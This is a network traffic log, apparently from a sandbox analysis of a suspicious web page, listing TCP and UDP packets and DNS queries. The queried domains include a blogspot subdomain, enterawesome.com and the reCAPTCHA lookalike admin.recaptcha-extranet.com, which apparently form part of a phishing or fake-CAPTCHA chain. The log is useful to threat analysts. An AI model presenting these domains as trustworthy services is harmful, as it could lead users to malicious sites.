Jan 9, 2025 05:14:33.916188002 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.916198015 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.917550087 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.917610884 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.918615103 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.918661118 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.918766975 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:33.918771982 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:33.962610006 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:33.962707996 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:34.182593107 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:34.182710886 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:34.182780981 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:34.183553934 CET	49762	443	192.168.2.17	18.245.31.53
Jan 9, 2025 05:14:34.183569908 CET	443	49762	18.245.31.53	192.168.2.17
Jan 9, 2025 05:14:34.192260981 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:34.192327023 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:34.192373037 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:34.192922115 CET	49763	443	192.168.2.17	18.245.31.129
Jan 9, 2025 05:14:34.192934990 CET	443	49763	18.245.31.129	192.168.2.17
Jan 9, 2025 05:14:34.203205109 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.203238010 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.203315973 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.203516960 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.203532934 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.282468081 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:34.947288990 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.947571039 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.947582006 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.948700905 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.948757887 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.949059963 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.949116945 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:34.949192047 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:34.949198008 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:35.001430035 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:35.220751047 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:35.220837116 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:35.220895052 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:35.221811056 CET	49764	443	192.168.2.17	18.245.31.18
Jan 9, 2025 05:14:35.221827984 CET	443	49764	18.245.31.18	192.168.2.17
Jan 9, 2025 05:14:36.104470015 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:37.187448025 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:37.187480927 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:37.187529087 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:39.090512991 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:40.237601995 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:42.859652042 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:42.859731913 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:42.859791040 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:42.860465050 CET	49757	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:42.860500097 CET	443	49757	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:42.863488913 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:42.863527060 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:42.863583088 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:42.864073992 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:42.864085913 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.327229023 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.327687979 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.327703953 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.328759909 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.328838110 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329137087 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329153061 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329196930 CET	443	49765	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.329200983 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329251051 CET	49765	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329618931 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.329654932 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.329735041 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.330069065 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.330081940 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.839250088 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.839598894 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.839617968 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.839977980 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.840302944 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.840379953 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.840439081 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.883343935 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.966809988 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.966912985 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.966953039 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.966969967 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.966984987 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967035055 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.967039108 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967063904 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967097044 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.967113018 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967165947 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967205048 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.967211962 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967283964 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:43.967329025 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.967868090 CET	49766	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:43.967880011 CET	443	49766	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:48.184525013 CET	49704	443	192.168.2.17	142.250.186.65
Jan 9, 2025 05:14:48.184551954 CET	443	49704	142.250.186.65	192.168.2.17
Jan 9, 2025 05:14:48.695574045 CET	49682	80	192.168.2.17	192.229.211.108
Jan 9, 2025 05:14:50.285072088 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.290019989 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.379352093 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.379435062 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.383646965 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.383764029 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.383965969 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.384020090 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.388396978 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.388557911 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.389826059 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.390813112 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.391359091 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.466383934 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.466497898 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:14:50.594266891 CET	443	49691	204.79.197.200	192.168.2.17
Jan 9, 2025 05:14:50.594330072 CET	49691	443	192.168.2.17	204.79.197.200
Jan 9, 2025 05:15:03.976500988 CET	49704	443	192.168.2.17	142.250.186.65
Jan 9, 2025 05:15:03.976632118 CET	443	49704	142.250.186.65	192.168.2.17
Jan 9, 2025 05:15:03.976727009 CET	49704	443	192.168.2.17	142.250.186.65
Jan 9, 2025 05:15:05.958072901 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.958101034 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:05.958183050 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.958384991 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.958399057 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:05.964891911 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.964925051 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:05.964993954 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.965163946 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:05.965178967 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.428175926 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.428467035 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.428483009 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.428786039 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.429083109 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.429137945 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.429203033 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.442837954 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.443044901 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.443067074 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.444148064 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.444230080 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.444478035 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.444535971 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.444576979 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.471330881 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.483805895 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:06.483840942 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:06.483941078 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:06.484138012 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:06.484153032 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:06.491337061 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.497657061 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.497664928 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.545661926 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559030056 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.559129953 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.559190989 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559247017 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559258938 CET	443	49775	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.559267998 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559315920 CET	49775	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559624910 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559648037 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.559715033 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559901953 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.559916019 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.575965881 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.576042891 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.576102018 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.576195002 CET	49776	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.576204062 CET	443	49776	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.576545954 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.576577902 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:06.576656103 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.576843023 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:06.576857090 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.020263910 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.020535946 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.020553112 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.020848989 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.021153927 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.021214962 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.021279097 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.021296024 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.021302938 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.049160004 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.049518108 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.049529076 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.049890041 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.050178051 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.050271034 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.050288916 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.050338030 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.050353050 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.089776039 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.126893044 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:07.127262115 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:07.127279043 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:07.127609968 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:07.127887964 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:07.127945900 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:07.148948908 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.149070024 CET	443	49778	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.149233103 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.149233103 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.149233103 CET	49778	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.169751883 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:07.179133892 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.179199934 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:07.179260015 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.179374933 CET	49779	443	192.168.2.17	35.190.80.1
Jan 9, 2025 05:15:07.179384947 CET	443	49779	35.190.80.1	192.168.2.17
Jan 9, 2025 05:15:17.029181004 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:17.029246092 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:15:17.029401064 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:17.972630024 CET	49777	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:15:17.972670078 CET	443	49777	216.58.206.68	192.168.2.17
Jan 9, 2025 05:16:06.542642117 CET	49781	443	192.168.2.17	142.250.74.196
Jan 9, 2025 05:16:06.542692900 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:06.542774916 CET	49781	443	192.168.2.17	142.250.74.196
Jan 9, 2025 05:16:06.543021917 CET	49781	443	192.168.2.17	142.250.74.196
Jan 9, 2025 05:16:06.543039083 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:07.198260069 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:07.198591948 CET	49781	443	192.168.2.17	142.250.74.196
Jan 9, 2025 05:16:07.198623896 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:07.198919058 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:07.199206114 CET	49781	443	192.168.2.17	142.250.74.196
Jan 9, 2025 05:16:07.199264050 CET	443	49781	142.250.74.196	192.168.2.17
Jan 9, 2025 05:16:07.252989054 CET	49781	443	192.168.2.17	142.250.74.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 05:14:01.661541939 CET	53	51944	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:01.696196079 CET	53	49925	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:02.471798897 CET	51480	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:02.472218037 CET	64568	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:02.483297110 CET	53	51480	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:02.484164953 CET	53	64568	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:02.651110888 CET	53	65443	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:03.566173077 CET	49553	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:03.566322088 CET	64692	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:03.599965096 CET	53	64692	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:03.602020025 CET	53	49553	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:04.861810923 CET	54442	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:04.862135887 CET	57868	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:04.895900011 CET	53	54442	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:04.899024010 CET	53	57868	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:05.949259043 CET	54930	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:05.949465036 CET	62155	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:05.956331968 CET	53	62155	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:05.956701994 CET	53	54930	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:06.428395033 CET	60306	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:06.428529024 CET	63760	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:06.436743975 CET	53	60306	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:06.436759949 CET	53	63760	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:07.384835005 CET	51169	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:07.385102987 CET	57765	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:07.392802954 CET	58718	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:07.392957926 CET	50019	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:07.398503065 CET	53	57765	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:07.399539948 CET	53	58718	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:07.399625063 CET	53	50019	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:07.419646025 CET	53	51169	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:08.110965014 CET	58046	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:08.111108065 CET	55843	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:08.118244886 CET	53	58046	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:08.118594885 CET	53	55843	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:08.622652054 CET	60078	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:08.622855902 CET	59530	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:08.629656076 CET	53	60078	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:08.629673958 CET	53	59530	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:19.706376076 CET	53	64792	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:32.059927940 CET	53	60393	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:32.091890097 CET	54274	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:32.092061996 CET	64572	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:32.099040985 CET	53	54274	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:32.099062920 CET	53	64572	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:32.101324081 CET	53	54825	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:33.186767101 CET	50377	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:33.186909914 CET	50641	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:33.187517881 CET	55240	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:33.187635899 CET	53179	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:33.192730904 CET	53	64392	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:33.194598913 CET	53	53179	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:33.195286989 CET	53	50641	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:33.196932077 CET	53	50377	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:33.196942091 CET	53	55240	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:34.195508957 CET	55188	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:34.195688963 CET	58598	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:14:34.202574015 CET	53	55188	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:34.202613115 CET	53	58598	1.1.1.1	192.168.2.17
Jan 9, 2025 05:14:38.413268089 CET	53	55438	1.1.1.1	192.168.2.17
Jan 9, 2025 05:15:01.140243053 CET	53	58472	1.1.1.1	192.168.2.17
Jan 9, 2025 05:15:01.636914015 CET	53	61518	1.1.1.1	192.168.2.17
Jan 9, 2025 05:15:05.957707882 CET	58764	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:15:05.957825899 CET	53925	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:15:05.964361906 CET	53	58764	1.1.1.1	192.168.2.17
Jan 9, 2025 05:15:05.964438915 CET	53	53925	1.1.1.1	192.168.2.17
Jan 9, 2025 05:15:18.535301924 CET	138	138	192.168.2.17	192.168.2.255
Jan 9, 2025 05:15:31.243122101 CET	53	62047	1.1.1.1	192.168.2.17
Jan 9, 2025 05:16:06.534754992 CET	58436	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:16:06.534878969 CET	58897	53	192.168.2.17	1.1.1.1
Jan 9, 2025 05:16:06.541508913 CET	53	58436	1.1.1.1	192.168.2.17
Jan 9, 2025 05:16:06.541985989 CET	53	58897	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 05:14:02.471798897 CET	192.168.2.17	1.1.1.1	0x9572	Standard query (0)	rinderynitvye.blogspot.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:02.472218037 CET	192.168.2.17	1.1.1.1	0xed20	Standard query (0)	rinderynitvye.blogspot.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:03.566173077 CET	192.168.2.17	1.1.1.1	0x9af6	Standard query (0)	enterawesome.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:03.566322088 CET	192.168.2.17	1.1.1.1	0x7897	Standard query (0)	enterawesome.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:04.861810923 CET	192.168.2.17	1.1.1.1	0xb415	Standard query (0)	admin.recaptcha-extranet.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:04.862135887 CET	192.168.2.17	1.1.1.1	0xff49	Standard query (0)	admin.recaptcha-extranet.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:05.949259043 CET	192.168.2.17	1.1.1.1	0x8a64	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:05.949465036 CET	192.168.2.17	1.1.1.1	0x2870	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:06.428395033 CET	192.168.2.17	1.1.1.1	0x81dc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:06.428529024 CET	192.168.2.17	1.1.1.1	0x1993	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:07.384835005 CET	192.168.2.17	1.1.1.1	0xf817	Standard query (0)	admin.recaptcha-extranet.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:07.385102987 CET	192.168.2.17	1.1.1.1	0xb6c7	Standard query (0)	admin.recaptcha-extranet.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:07.392802954 CET	192.168.2.17	1.1.1.1	0xda9f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:07.392957926 CET	192.168.2.17	1.1.1.1	0x769c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:08.110965014 CET	192.168.2.17	1.1.1.1	0xaf79	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.111108065 CET	192.168.2.17	1.1.1.1	0x2993	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:08.622652054 CET	192.168.2.17	1.1.1.1	0xcff8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:08.622855902 CET	192.168.2.17	1.1.1.1	0x9a5	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 05:14:32.091890097 CET	192.168.2.17	1.1.1.1	0x3a33	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 05:14:32.092061996 CET	192.168.2.17	1.1.1.1	0x823f	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
